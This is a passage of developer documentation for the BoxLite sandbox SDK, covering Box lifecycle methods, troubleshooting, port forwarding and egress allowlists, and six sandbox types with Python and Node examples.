| | `cpus` | int | Optional | 1 (see [Compute resources](/manage-sandbox/compute-resources)) | Number of vCPUs | | `memory_mib` | int | Optional | 1024 | Memory in MiB | | `auto_remove` | bool | Optional | `True` | Whether to remove automatically on `stop()` (mutually exclusive with `detach=True`\*\*) | | `detach` | bool | Optional | `False` | Whether to survive the parent process (mutually exclusive with `auto_remove=True`\*\*) | > Note: `name` is **not** a `BoxOptions` field; it is a separate parameter of `create(options, name=...)` / `get_or_create(options, name=...)`. Once named, you can operate by name with `get(name)` / `remove(name)`. \* Provide one of `image` or `rootfs_path`; constructing with neither raises an error. \*\* `auto_remove=True` and `detach=True` are mutually exclusive (a detached Box needs manual lifecycle management); setting both fails at validation. ### Runtime methods (called on a `Boxlite` instance) | Method | Returns | Description | | - | - | - | | `create(options, name=None)` | `Box` | Create and register a Box | | `get_or_create(options, name=None)` | `(Box, bool)` | Returns the Box and a `created` flag (reuses by name) | | `get(id_or_name)` | `Box \| None` | Get a handle to an existing Box; returns `None` if not found | | `get_info(id_or_name)` | `BoxInfo \| None` | Read Box info (without bringing up the VM); returns `None` if not found | | `list_info(_state=None)` | `list[BoxInfo]` | List all Boxes (newest first); **not `list()`** | | `remove(id_or_name, force=False)` | — | Remove a Box; `force=False` requires the Box to be stopped | | `metrics()` | `RuntimeMetrics` | Runtime aggregate metrics | | `shutdown(timeout=None)` | — | Shut down all Boxes (seconds; `None`=10s, `-1`=indefinite) | | `close()` | — | Close the runtime handle (synchronous) | ### `Box` methods (async, require `await`) | Method | Returns | Description | | - | - | - | | `start()` | — | Bring up the VM, idempotent | | `stop()` | — | Shut down the VM, preserve the rootfs (unless `auto_remove=True`) | | `exec(command, args=None, ...)` | `Execution` | Run a command; triggers a restart on a stopped Box | | `info()` | `BoxInfo` | **Async** — `await` it | | `metrics()` | `BoxMetrics` | Per-Box metrics | | `id` / `name` | str | Properties | ### `BoxInfo` / `BoxStateInfo` (state access) `box.info()` returns a `BoxInfo`; its `state` field is a `BoxStateInfo`, and the state string is at `state.status`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} info = await box.info() # async print(info.state.status) # state string print(info.state.running) # bool print(info.id, info.image, info.cpus, info.memory_mib) ``` | Path | Type | Description | | - | - | - | | `info.state` | `BoxStateInfo` | The outer field is `state` (not `status`) | | `info.state.status` | str | The inner field is named `status` (not `state`) | | `info.state.running` | bool | Whether it is running | | `info.state.pid` | int \| None | Process id (if any) | *** ## Troubleshooting ### `info()` returns a coroutine, or refuses to be awaited `info()` differs between the two layers, and each one fails differently when you guess wrong. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Box, from runtime.create() — synchronous info = box.info() # SimpleBox and its subclasses — a coroutine, so it must be awaited info = await box.info() # box.info().state -> AttributeError: 'coroutine' object has no attribute 'state' print(info.state.status) # not info.status, and not info.state.state ``` ### Calling `remove()` on a Box / using `list()` Removal and listing both happen on the **runtime**, with the method names `remove`/`list_info`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong: await box.remove() -> AttributeError # Wrong: await runtime.list() -> AttributeError await runtime.remove(box.id, force=True) # correct infos = await runtime.list_info() # correct ``` ### Removing a running Box errors `remove(id, force=False)` requires the Box to be stopped, otherwise it errors. Either `stop()` first, or use `force=True` (stop then remove): ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # calling remove(force=False) on a running box raises (the box is still running) await box.stop() await runtime.remove(box.id, force=False) # or: runtime.remove(box.id, force=True) ``` ### Using `Boxlite.default()` across processes leaves the lock unreleased `default()` is a process-wide static singleton that holds the runtime lock until the process ends. Cross-process scenarios (a child creates, the parent takes over) must use `boxlite.Boxlite(boxlite.Options())` to construct a releasable instance, otherwise the taking-over process blocks or fails because it cannot acquire the lock. > Current limitation: if the process holding the `default()` lock exits **abnormally** (crash, kill, or exiting without `close()`/`with`), a lock file may remain under `$BOXLITE_HOME/locks/`, causing the next `Boxlite.default()` to report `Another BoxliteRuntime is already using directory`. After confirming no boxlite process is alive (`lsof $BOXLITE_HOME/locks/*` shows no holder), you can clean it up manually with `rm -f $BOXLITE_HOME/locks/*` (`$BOXLITE_HOME` defaults to `~/.boxlite`). A runtime that exits normally via `with`/`close()` cleans up after itself. ### `execution.stdout()` yields `str`, not `bytes` The underlying `Execution.stdout()` / `Execution.stderr()` async iterators yield **already-decoded `str`** chunks, not `bytes`. Use them directly; calling `chunk.decode(...)` as if they were `bytes` raises `AttributeError: 'str' object has no attribute 'decode'`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} execution = await box.exec("echo", ["hi"]) async for chunk in execution.stdout(): print(chunk.strip()) # correct: chunk is already a str # print(chunk.decode()) # wrong: str has no decode -> AttributeError ``` ### `exec` exits non-zero without raising `exec` reports a non-zero exit through `exit_code` / `exitCode`, not by raising. See [Error Handling](/guides/error-handling#troubleshooting). ### The box stopped without anyone calling `stop()` Its main command exited. `exec` then fails with `invalid state: Cannot exec box : it is stopped, and its main command has already exited`. Either keep the main command long-running, or treat the box as single-shot and read its exit code with `attach()`. See [The main command](#the-main-command). ### `kill -TERM 1` leaves the main command running Expected: PID 1 in a PID namespace ignores signals with no handler. Stop the box from the host with `stop()` instead. ### `exec` rejects its arguments with a type error `Box.exec` takes a list, `SimpleBox.exec` takes varargs. Passing a list to the second raises `TypeError: argument 'args': Can't extract str to Vec`, which does not name the expected shape. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} await box.exec("ls", ["-la"]) # Box, from runtime.create() await box.exec("ls", "-la") # SimpleBox ``` ### No virtualization causes startup failure (environment constraint) BoxLite requires hardware virtualization: * Linux: requires KVM (`/dev/kvm` available; under WSL2 the user must be in the `kvm` group); * macOS: uses Apple Hypervisor.framework, **no `/dev/kvm` required** (macOS arm64 supported); macOS Intel is not supported. Without virtualization, Box startup fails (the process stays alive and can be caught with `try/except` to inform the user). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} try: box = await runtime.create(boxlite.BoxOptions(image="alpine:latest")) await box.exec("echo", ["ok"]) except RuntimeError as exc: print(f"startup failed; check that virtualization is available (Linux requires KVM): {exc}") ``` *** ## Advanced: lifecycle when using SimpleBox When you use the higher-level `SimpleBox` (an async context manager), it lazily creates and starts the Box on `async with` entry and cleans up on exit according to `auto_remove`. The lifecycle switches are passed the same way via constructor arguments: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main(): # auto_remove defaults to True; when reuse_existing=True, reuse an existing box by name try: async with SimpleBox(image="alpine:latest", auto_remove=True) as box: result = await box.exec("echo", "hello") # ExecResult print(result.stdout, "exit:", result.exit_code) print("state:", (await box.info()).state.status) # info() is async except RuntimeError as exc: print(f"run failed (check virtualization): {exc}") if __name__ == "__main__": asyncio.run(main()) ``` > `SimpleBox.exec`'s timeout parameter is `timeout` (float) and its `env` is a `dict`; whereas the underlying `Box.exec`'s timeout parameter is `timeout_secs` and its `env` is a `list[tuple]`. For detach / cross-process / explicit restart, continue to use `Boxlite` + `Box` directly, because those operations require access to the Box id and the runtime. # Network access Source: https://docs.boxlite.ai/manage-sandbox/network-access Control the sandbox's network boundary: expose a service to the host with port forwarding, restrict outbound traffic with an egress allowlist, or turn networking off entirely. The sandbox has its own network stack behind a user-mode proxy, reachable at the fixed guest IP `192.168.127.2`. That is why a forwarded service must bind `0.0.0.0` rather than `127.0.0.1`. ## Quick Example ### Port forwarding: expose an in-sandbox HTTP service to the host The following starts an HTTP server inside the sandbox (listening on `0.0.0.0:18789`) and reaches it from the host at `127.0.0.1:18789`. It is runnable as-is. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import urllib.request from boxlite import SimpleBox async def main() -> None: try: # ports=[(host_port, guest_port)]: forward host port 18789 to sandbox port 18789 async with SimpleBox( image="python:alpine", name="port-forward-demo", ports=[(18789, 18789)], reuse_existing=True, ) as box: print(f"Box started: {box.id}") # the service must bind to 0.0.0.0 (not 127.0.0.1): # gvproxy forwards host traffic to the sandbox NIC (192.168.127.2), not the sandbox loopback. await box.exec( "sh", "-c", "nohup python -m http.server 18789 --bind 0.0.0.0 > /dev/null 2>&1 &", ) await asyncio.sleep(1) # wait for the service to come up # access from the host with urllib.request.urlopen("http://127.0.0.1:18789/", timeout=5) as resp: print(f"Host -> guest: HTTP {resp.status}") except Exception as exc: # startup failure / port in use / no virtualization, etc. print(f"Failed: {type(exc).__name__}: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ### Egress allowlist: permit only specific hosts ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite from boxlite import NetworkSpec, SimpleBox async def main() -> None: try: # only example.com may be resolved/accessed; all other hosts are sinkholed to 0.0.0.0 async with SimpleBox( image="alpine:latest", network=NetworkSpec(mode="enabled", allow_net=["example.com"]), ) as box: # allowed host -> resolves to a real IP allowed = await box.exec("nslookup", "example.com") print(f"example.com exit={allowed.exit_code} (allowed)") # disallowed host -> resolves to 0.0.0.0 (blocked) blocked = await box.exec("nslookup", "github.com") print(f"github.com exit={blocked.exit_code}") print("sinkholed:", "0.0.0.0" in blocked.stdout) except Exception as exc: print(f"Failed: {type(exc).__name__}: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ### Node: port forwarding plus egress allowlist ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} // npm install @boxlite-ai/boxlite (note the package name) import { SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { // port forwarding: ports is an array of objects { hostPort, guestPort, protocol? } // egress allowlist: network = { mode: "enabled", allowNet: [...] } const box = new SimpleBox({ image: "python:alpine", name: "net-demo-node", reuseExisting: true, ports: [{ hostPort: 18790, guestPort: 18790 }], network: { mode: "enabled", allowNet: ["example.com"] }, }); // likewise must bind to 0.0.0.0 await box.exec( "sh", "-c", "nohup python -m http.server 18790 --bind 0.0.0.0 > /dev/null 2>&1 &", ); const r = await box.exec("nslookup", "example.com"); console.log(`example.com exitCode=${r.exitCode}`); await box.stop(); } catch (err) { console.error("Failed:", err instanceof Error ? err.message : err); } } main(); ``` ## Parameters and Returns ### Port forwarding (`ports`) Accepted by `SimpleBox(..., ports=[...])` and `BoxOptions(ports=[...])`. Each element may be a **tuple** or a **dict**: | Element form | Description | | - | - | | `(host_port, guest_port)` | 2-tuple, TCP, forwards host `host_port` to sandbox `guest_port` | | `(host_port, guest_port, protocol)` | 3-tuple; `protocol` is the string `"tcp"`/`"udp"` | | `(host_port, guest_port, protocol, host_ip)` | 4-tuple; additionally specifies the host bind IP | | `{"guest_port": 8080, "host_port": 18080, "protocol": "tcp"}` | dict form; `guest_port` is required, the rest are optional | Underlying `PortSpec` fields (source: `sdks/python/src/options.rs`): | Field | Type | Required | Default | Description | | - | - | - | - | - | | `host_port` | `int` (u16) | Optional | `None` = same as `guest_port` | Host listening port | | `guest_port` | `int` (u16) | Required | — | In-sandbox service port | | `protocol` | `str` | Optional | `tcp` | `tcp` / `udp` | | `host_ip` | `str` | Optional | `None` | Host bind IP | > Node: `ports` is `Array<{ hostPort?: number; guestPort: number; protocol?: string }>` (camelCase). ### Egress allowlist `network` (`NetworkSpec`) Python constructor: `NetworkSpec(mode, allow_net=[])` | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `mode` | `str` | Required | — | `"enabled"` (networking on) / `"disabled"` (no network interface at all) | | `allow_net` | `list[str]` | Optional | `[]` | Egress allowlist hosts; an empty list means no restriction (full internet). When non-empty, only these hosts resolve to real IPs and all others are sinkholed to `0.0.0.0`. Supports exact matches and `*.example.com` wildcards | Three typical combinations: | Configuration | Effect | | - | - | | `NetworkSpec(mode="enabled", allow_net=[])` (or omitting `network`, the default) | Full egress | | `NetworkSpec(mode="enabled", allow_net=["example.com"])` | Only the listed hosts are allowed; all others are sinkholed to `0.0.0.0` | | `NetworkSpec(mode="disabled")` | The sandbox has no network interface; DNS and outbound connections all fail, while local commands and file operations work normally | > Node: `network` is the object `{ mode: "enabled" | "disabled", allowNet?: string[] }` (camelCase `allowNet`). ### Return value (for verification) `SimpleBox.exec(...)` returns an `ExecResult`: | Field | Type | Description | | - | - | - | | `exit_code` | `int` | Process exit code. A non-zero value **does not raise**; check it yourself | | `stdout` | `str` | Standard output (for allowlist verification, check whether it contains `0.0.0.0`) | | `stderr` | `str` | Standard error | | `error_message` | `str \| None` | Non-`None` only when the process died abnormally | ## Troubleshooting ### Port forwarding succeeds but the host cannot connect: the service bound to 127.0.0.1 This is the most common issue. If the in-sandbox service binds to `127.0.0.1` (loopback), traffic forwarded in by gvproxy arrives on the sandbox NIC (`192.168.127.2`) and cannot reach loopback. * Symptom: `urllib.request.urlopen` / `curl` on the host reports `Connection refused` or times out. * Fix: the in-sandbox service must bind to `0.0.0.0`, for example `python -m http.server 18789 --bind 0.0.0.0`, Flask `app.run(host="0.0.0.0")`, or uvicorn `--host 0.0.0.0`. ### The egress allowlist appears not to work / mistaking "blocked" for "errors out" An allowlist block is not "the connection errors out"; it is a **DNS sinkhole**: a disallowed host resolves to `0.0.0.0`. * How to verify: run `exec("nslookup", "")` and check whether `result.stdout` contains `0.0.0.0`, rather than checking `exit_code` (a sinkholed `nslookup` may still return `exit_code == 0`). * So to decide "was it blocked", inspect the stdout content, as in the second Quick Example. ### After `mode="disabled"`, all networking commands fail (this is expected) In disabled mode the sandbox has no network interface: `nslookup`, `pip install`, `apk add`, and similar commands fail (`exit_code != 0`), while `echo`, `ls`, and reading or writing files work normally. This is by design. To use the network, switch to `mode="enabled"`. ### `exec` returns a non-zero exit code without raising `exec` **does not raise** on a non-zero exit code; instead it returns `ExecResult(exit_code != 0)`. Always check `result.exit_code`. When the command itself does not exist (for example, `nslookup` is not installed in the image), a standard `RuntimeError` / bare `Error` may be raised (not a `BoxliteError` subclass), so use a broad `try/except Exception`. ### Host port already in use / re-creating a box with the same name Startup fails when the host `host_port` is already in use. Switch to a free port, or confirm no leftover box from a previous run is still holding the port. When using `name=`, combining it with `reuse_existing=True` lets you reuse an existing box of the same name and avoid "already exists" errors. ### Notes on UDP port forwarding `protocol="udp"` is accepted at the SDK layer. > Current limitation: the CLI `-p` port forwarding treats forwarding as TCP. Configure UDP port forwarding through the SDK. ### No hardware virtualization prevents the sandbox from starting The network code itself is fine, but if the environment lacks virtualization (Linux without `/dev/kvm`, KVM not passed through in a container, Windows without WSL2 + KVM), the box fails during startup and raises an exception. macOS (Apple Silicon) uses Hypervisor.framework automatically and does not need `/dev/kvm`. Catch it with `try/except` (Python) or `try/catch` (Node); the process will not crash. ## Related pages * [Compute resources](/manage-sandbox/compute-resources) * [Box types](/manage-sandbox/sandbox-types) # Box types Source: https://docs.boxlite.ai/manage-sandbox/sandbox-types Six one-line constructors, each returning an isolated environment tuned for one job: commands, code, a browser, a desktop, an interactive terminal, or an AI agent. Pick by what the sandbox has to do. Every type inherits from `SimpleBox`, so `exec()` / `copy_in()` / `copy_out()` remain available whichever you choose, and all six are **async context managers** that create and start the microVM on entry. ## Which type do you need? | Type | Use case | When to choose it | Default image | Key specialized methods (Python) | | - | - | - | - | - | | `SimpleBox` | General-purpose sandbox: run any command or executable | You need a fully custom image, ports, or volumes, or you run a non-Python program | You must specify `image` or `rootfs_path` yourself | `exec()` / `copy_in()` / `copy_out()` | | `CodeBox` | Securely execute Python code snippets | Running untrusted code, AI-generated code, or doing data computation | `python:slim` | `run()` / `run_script()` / `install_package(s)()` | | `BrowserBox` | Remote browser automation | Use Playwright/CDP to scrape pages or run end-to-end browser tasks | `mcr.microsoft.com/playwright:v1.58.0-jammy` | `playwright_endpoint()` / `endpoint()` / `connect()` | | `ComputerBox` | Desktop GUI automation (mouse/keyboard/screenshot) | A computer-use agent operating a real Linux desktop | `lscr.io/linuxserver/webtop:ubuntu-xfce` | `screenshot()` / `left_click()` / `type()` / `key()` | | `InteractiveBox` | Interactive terminal (PTY forwarding) | Manually entering a shell to debug, like `docker exec -it` | You must specify `image` yourself | `wait()` (stdin/stdout are forwarded automatically on entry) | | `SkillBox` | Run the Claude Code CLI inside a sandbox, with a noVNC desktop | Host an AI agent, install and invoke skills, observe visually | `ghcr.io/boxlite-ai/boxlite-skillbox:0.1.0` | `call()` / `install_skill()` / `wait_until_ready()` | > Selection summary: **choose `SimpleBox` to run commands; `CodeBox` to run Python; `BrowserBox` for a browser; `ComputerBox` for a desktop; `InteractiveBox` for a manual terminal; `SkillBox` for an AI agent.** > > The high-level wrappers for `ComputerBox` and `InteractiveBox` are **provided only in Python and Node**; the other language SDKs (C / Go / Rust) currently expose only the lower-level `exec(tty=...)`. > > Node uses the same six names with `new` and camelCase options, and `await using` in place of `async with` — `await using box = new CodeBox()`. A verified Node example is on the same tab group as each type's Python example below; full signatures are in the [Node.js SDK reference](/reference/nodejs#parameters-returns). *** ### SimpleBox — the general-purpose base class Use it to run any command, use your own image, or get fine-grained control over resources, volumes, ports, and networking. It is also the parent class of the other five types. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, BoxliteError async def main() -> None: try: # at least one of image and rootfs_path must be provided, otherwise construction raises ValueError async with SimpleBox(image="alpine:latest") as box: # the exec timeout parameter is timeout (float, seconds); env is a dict result = await box.exec("echo", "hi", env={"FOO": "bar"}, timeout=30.0) # a non-zero exit code does not raise; check exit_code yourself if result.exit_code != 0: print(f"command failed ({result.exit_code}): {result.stderr}") else: print(result.stdout.strip()) # -> hi except RuntimeError as exc: print(f"startup failed: {exc}") except BoxliteError as exc: print(f"BoxLite error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { // at least one of image / rootfsPath must be provided, otherwise the constructor throws await using box = new SimpleBox({ image: "alpine:latest" }); // args is always an array; the exec timeout option is timeoutSecs; env is Record const result = await box.exec("echo", ["hi"], { FOO: "bar" }, { timeoutSecs: 30 }); // a non-zero exit code does not throw; check exitCode yourself if (result.exitCode !== 0) { console.error(`command failed (${result.exitCode}): ${result.stderr}`); } else { console.log(result.stdout.trim()); // -> hi } } catch (err) { console.error(`${err instanceof BoxliteError ? "BoxLite error" : "startup failed"}: ${err instanceof Error ? err.message : err}`); } } main(); ``` Key `SimpleBox` constructor arguments: `image` / `rootfs_path` (at least one required), `memory_mib`, `cpus`, `name`, `auto_remove` (default `True`), `reuse_existing` (default `False`). Other advanced options (`volumes` / `ports` / `network` / `secrets` / `advanced`, etc.) are forwarded through `**kwargs` to the underlying `BoxOptions`. Verified: real run prints `hi`. *** ### CodeBox — Python code execution Use it to execute untrusted or AI-generated Python code, or to run computation or scripting tasks. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import CodeBox, BoxliteError async def main() -> None: try: async with CodeBox() as cb: await cb.install_package("requests") # pip install requests out = await cb.run("import requests; print(requests.__version__)") print(out.strip()) except RuntimeError as exc: print(f"startup failed: {exc}") except BoxliteError as exc: print(f"BoxLite error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, CodeBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { await using cb = new CodeBox(); await cb.installPackage("requests"); // pip install requests const out = await cb.run("import requests; print(requests.__version__)"); console.log(out.trim()); } catch (err) { console.error(`error: ${err instanceof BoxliteError ? err.message : err}`); } } main(); ``` > Note: the `timeout` of `CodeBox.run(code, timeout=...)` is an `int` and is not enforced. For reliable timeout control, use `exec(..., timeout=)` inherited from `SimpleBox` instead. `run()` returns only stdout; if you also need stderr, use `exec()`. Verified: real run prints the installed `requests` version (`2.34.2` at time of writing). *** ### BrowserBox — browser automation Use it to run Playwright in an isolated environment or connect over CDP for browser automation. BrowserBox exposes a browser endpoint to the host, and the host-side Playwright connects to it. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # pip install boxlite playwright import asyncio from boxlite import BrowserBox, BrowserBoxOptions, BoxliteError async def main() -> None: try: # the browser type is passed via BrowserBoxOptions (BrowserBox's first positional argument is options) async with BrowserBox(BrowserBoxOptions(browser="chromium")) as bb: # Playwright Server mode (port defaults to 3000, supports all browser types) endpoint = await bb.playwright_endpoint(timeout=60) print(f"Playwright endpoint: {endpoint}") # connect into the in-sandbox browser using the host's playwright from playwright.async_api import async_playwright async with async_playwright() as p: browser = await p.chromium.connect(endpoint) page = await browser.new_page() await page.goto("https://example.com") print(await page.title()) # -> Example Domain await browser.close() except RuntimeError as exc: print(f"startup failed: {exc}") except BoxliteError as exc: print(f"BoxLite error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // npm install @boxlite-ai/boxlite playwright-core import { BoxliteError, BrowserBox } from "@boxlite-ai/boxlite"; import { chromium } from "playwright-core"; async function main(): Promise { try { // the browser type is passed via BrowserBoxOptions await using bb = new BrowserBox({ browser: "chromium" }); // Playwright Server mode (port defaults to 3000, supports all browser types) const endpoint = await bb.playwrightEndpoint(60); console.log(`Playwright endpoint: ${endpoint}`); // connect into the in-sandbox browser using the host's playwright-core const browser = await chromium.connect(endpoint); const page = await browser.newPage(); await page.goto("https://example.com"); console.log(await page.title()); // -> Example Domain await browser.close(); } catch (err) { console.error(`error: ${err instanceof BoxliteError ? err.message : err}`); } } main(); ``` > `playwright_endpoint()` (Playwright Server mode) supports chromium / firefox / webkit; `endpoint()` (direct CDP/BiDi) **does not support WebKit**. The two modes are mutually exclusive — pick one as needed. *** ### ComputerBox — desktop automation Use it for a computer-use agent that drives a real Linux desktop (XFCE) through mouse, keyboard, and screenshots. You can watch it live in a browser via noVNC. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import ComputerBox, BoxliteError async def main() -> None: try: async with ComputerBox() as cb: await cb.wait_until_ready(timeout=60) # wait for the desktop to be ready print(f"screen resolution: {await cb.get_screen_size()}") await cb.mouse_move(400, 300) await cb.left_click() await cb.type("hello desktop") shot = await cb.screenshot() # returns a dict (contains screenshot data) print(f"screenshot fields: {list(shot.keys())}") except RuntimeError as exc: print(f"startup failed: {exc}") except BoxliteError as exc: print(f"BoxLite error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, ComputerBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { await using cb = new ComputerBox(); await cb.waitUntilReady(60); // wait for the desktop to be ready console.log(`screen resolution: ${await cb.getScreenSize()}`); await cb.mouseMove(400, 300); await cb.leftClick(); await cb.type("hello desktop"); const shot = await cb.screenshot(); // returns a Screenshot object console.log(`screenshot fields: ${Object.keys(shot)}`); } catch (err) { console.error(`error: ${err instanceof BoxliteError ? err.message : err}`); } } main(); ``` `ComputerBox` allocates higher resources by default (`cpu=2`, `memory=2048`), and its GUI ports default to HTTP `3000` / HTTPS `3001`. *** ### InteractiveBox — interactive terminal Use it to manually enter a sandbox shell to debug, like `docker exec -it`. On `async with` entry it automatically starts a shell and forwards stdin/stdout in both directions; type `exit` to leave. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import InteractiveBox, BoxliteError async def main() -> None: try: # image is required; when tty=None, sys.stdin.isatty() is auto-detected async with InteractiveBox(image="alpine:latest") as box: # once entered you are inside the sandbox shell; type commands to see live output, type exit to leave await box.wait() except RuntimeError as exc: print(f"startup failed: {exc}") except BoxliteError as exc: print(f"BoxLite error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, InteractiveBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { // image is required await using box = new InteractiveBox({ image: "alpine:latest" }); // once entered you are inside the sandbox shell; stdin/stdout are forwarded automatically await box.wait(); } catch (err) { console.error(`error: ${err instanceof BoxliteError ? err.message : err}`); } } main(); ``` > When run in a non-TTY environment (a redirected pipe, some CI), `tty` is auto-detected as `False` and interactive input is not forwarded. To force interactivity, pass `tty=True` explicitly. *** ### SkillBox — run Claude Code inside a sandbox > `SkillBox` is purpose-built for the Claude Code CLI: its image installs `claude` and > starts it with a computer-use MCP config. To run a different agent CLI, install it into > a `SimpleBox` yourself — see [Run Codex](/agent-in-box/run-codex), > [Run Pi](/agent-in-box/run-pi), or [Run OpenCode](/agent-in-box/run-opencode). Use it to host an AI agent so the Claude Code CLI works in an isolated environment; you can install skills, hold multi-turn conversations, and watch live through the built-in noVNC desktop. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os from boxlite import SkillBox, BoxliteError async def main() -> None: # an OAuth token must be provided: via constructor argument or the CLAUDE_CODE_OAUTH_TOKEN environment variable, otherwise entry raises ValueError token = os.environ.get("CLAUDE_CODE_OAUTH_TOKEN", "") # TODO: replace with your token try: async with SkillBox(skills=["anthropics/skills"], oauth_token=token) as box: await box.wait_until_ready(timeout=60) # open https://localhost: in a browser to watch live answer = await box.call("What skills do you have?") print(answer) except ValueError as exc: print(f"configuration missing: {exc}") # e.g. no OAuth token provided except RuntimeError as exc: print(f"startup failed: {exc}") except BoxliteError as exc: print(f"BoxLite error: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, SkillBox } from "@boxlite-ai/boxlite"; async function main(): Promise { // an OAuth token must be provided: via constructor option or CLAUDE_CODE_OAUTH_TOKEN, otherwise the constructor throws const token = process.env.CLAUDE_CODE_OAUTH_TOKEN ?? ""; // TODO: replace try { await using box = new SkillBox({ skills: ["anthropics/skills"], oauthToken: token }); await box.waitUntilReady(60); // open https://localhost: in a browser to watch live const answer = await box.call("What skills do you have?"); console.log(answer); } catch (err) { console.error(`error: ${err instanceof BoxliteError ? err.message : err}`); } } main(); ``` `SkillBox` raises the memory default to `memory_mib=4096`; its `disk_size_gb=10` is the runtime-wide default; its noVNC GUI ports default to `0` at construction time (randomly assigned), and `auto_remove=True`. *** ## Parameters and Returns ### Key constructor arguments per type (Python) | Type | Key arguments (with defaults) | Required | | - | - | - | | `SimpleBox` | `image=None`, `rootfs_path=None`, `memory_mib=None`, `cpus=None`, `name=None`, `runtime=None`, `auto_remove=True`, `reuse_existing=False` | At least one of `image` or `rootfs_path` | | `CodeBox` | `image="python:slim"`, `memory_mib=None`, `cpus=None` | None (has a default image) | | `BrowserBox` | First positional argument is `options: BrowserBoxOptions \| None`; `BrowserBoxOptions` fields: `browser="chromium"`, `memory=2048`, `cpu=2`, `port=None` (default 3000), `cdp_port=None` (default 9222) | None | | `ComputerBox` | `cpu=2`, `memory=2048`, `gui_http_port=3000`, `gui_https_port=3001` | None | | `InteractiveBox` | `image` (positional), `shell="/bin/sh"`, `tty=None`, `auto_remove=True` | `image` required | | `SkillBox` | `skills=None`, `oauth_token=None`, `name="skill-box"`, `memory_mib=4096`, `disk_size_gb=10`, `gui_http_port=0`, `gui_https_port=0`, `auto_remove=True` | OAuth token (argument or environment variable) | > Resource defaults: when `cpus` / `memory_mib` are left unset, the runtime applies **1 vCPU / 1024 MiB** (`vm_defaults` in `src/boxlite/src/runtime/constants.rs`), not any SDK-level constant. `BrowserBox` and `ComputerBox` override with their own higher defaults (`cpu=2`, `memory=2048`). Set `cpus` / `memory_mib` explicitly for predictable capacity planning. See [Compute resources](/manage-sandbox/compute-resources). ### Common capabilities (inherited by all types from SimpleBox) | Method | Type | Description | | - | - | - | | `exec(cmd, *args, env=None, user=None, timeout=None, cwd=None)` | async | Run a command, returns `ExecResult`; `timeout` is a `float` in seconds, `env` is a `dict` | | `copy_in(host_path, container_dest, ...)` | async | Copy files from the host into the sandbox | | `copy_out(container_src, host_dest, ...)` | async | Copy files from the sandbox to the host | | `start()` / `stop()` | async | Start / stop (`async with` manages this automatically) | | `info()` | **async** | `await` it; returns `BoxInfo` | | `id` | property | Accessing it before start raises `RuntimeError` | | `created` | property | Whether the Box was newly created (`True`) or an existing same-named Box was reused (`False`); returns `None` before start | ### `ExecResult` fields (Python wrapper layer) | Field | Type | Description | | - | - | - | | `exit_code` | `int` | Exit code; a non-zero value **does not raise**, check it yourself | | `stdout` | `str` | Standard output | | `stderr` | `str` | Standard error | | `error_message` | `str \| None` | Non-`None` only when the process died abnormally | *** ## Troubleshooting | Symptom / error | Cause | Fix | | - | - | - | | `SimpleBox(...)` raises `ValueError` (missing image/rootfs) | `SimpleBox` requires at least one of `image` and `rootfs_path` | Pass `SimpleBox(image="alpine:latest")` or `rootfs_path=...` | | `import boxlite; boxlite.AdvancedBoxOptions` → `AttributeError` | An SDK older than 0.10 required the submodule path | Upgrade, then `from boxlite import AdvancedBoxOptions`; security options are passed via `BoxOptions(advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()))` — there is no top-level `security=` keyword | | `SkillBox` raises `ValueError` on entry | No Claude OAuth token was provided | Pass `oauth_token=...` or set the `CLAUDE_CODE_OAUTH_TOKEN` environment variable | | A command ran but "succeeded without error yet the result is wrong" | `exec` does not raise on a non-zero exit | Check `result.exit_code != 0` and read `result.stderr` | | A missing command / image pull failure raises `RuntimeError` or a bare `Error`, and catching `BoxliteError` does not match | These paths raise a standard `RuntimeError` (Python) / a bare `Error` (Node), **not** `BoxliteError` | Catch with `except RuntimeError` (Python) / a general `catch (err: Error)` (Node); see each example | | Startup reports no virtualization / no `/dev/kvm` | The current environment has no hardware virtualization (environment constraint) | Linux requires KVM and the user in the `kvm` group; macOS Apple Silicon uses Hypervisor.framework automatically; WSL2 requires KVM enabled. Environments without virtualization cannot start a microVM | | `box.info()` returns a coroutine instead of `BoxInfo` | `info()` is **async** | `await box.info()` | | 